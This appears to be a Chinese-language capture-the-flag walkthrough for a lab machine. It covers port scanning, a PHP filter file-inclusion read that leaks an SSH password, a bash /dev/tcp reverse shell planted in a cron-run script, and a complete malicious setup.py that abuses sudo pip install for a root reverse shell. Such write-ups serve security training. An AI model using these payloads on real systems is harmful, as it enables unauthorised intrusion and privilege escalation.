一、信息收集
1、主机发现
nmap 192.168.7.0/24 -sn | grep -B 2 '08:00:27:CE:CB:EC'
2、端口扫描
开放80、111、3333、40264端口
nmap 192.168.7.44 -p- -A
3、目录扫描
dirsearch -u http://192.168.7.44/
二、漏洞探测
访问80端口,没什么发现
f12查看源码,发现一个参数
贴到url中,发现变成了法语
可能存在文件包含,尝试读取网站源码
?lang=php://filter/convert.base64-encode/resource=index
解码后得到密码
Niamey4Ever227!!!
80端口没发现什么功能点,尝试ssh登录,网站首页发现一个可能作为用户的字符串
三、GetShell
尝试ssh连接
ssh mamadou@192.168.7.44 -p 3333
Niamey4Ever227!!!
切换到shell
import os
os.system("/bin/bash")
当前目录下存在flag1文件
四、提权
查看当前权限,查看内核版本,没有找到合适的提权方式
sudo -l
uname -r
在passwd中发现另一个用户 devops
cat /etc/passwd
devops
进入 devops目录,发现flag2文件,但是没有权限
搜索其所属文件
find / -user devops 2>/dev/null
发现 /srv/.antivirus.py 文件会将内容写入到 /tmp/test 中
open('/tmp/test','w').write('test')
将内容修改一下,尝试执行反弹shell
import os
os.system("echo 'bash -i >& /dev/tcp/192.168.7.96/4444 0>&1'|bash")
kali开启监听,等一会儿,成功反弹shell
nc -lvvp 4444
查看第二个flag文件
查看当前权限
sudo -l
pip可以执行
网上搜了下exp,创建一个setup.py,在其中写入
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.7.96'
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 8888; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
开启临时web服务,将其下载到 /tmp 目录中
wget http://192.168.7.96:8000/setup.py
kali开启监听
nc -lvvp 8888
靶机执行命令,成功反弹shell,提权成功
sudo /usr/bin/pip install . --upgrade --force-reinstall
在 /root/root.txt 发现最后的flag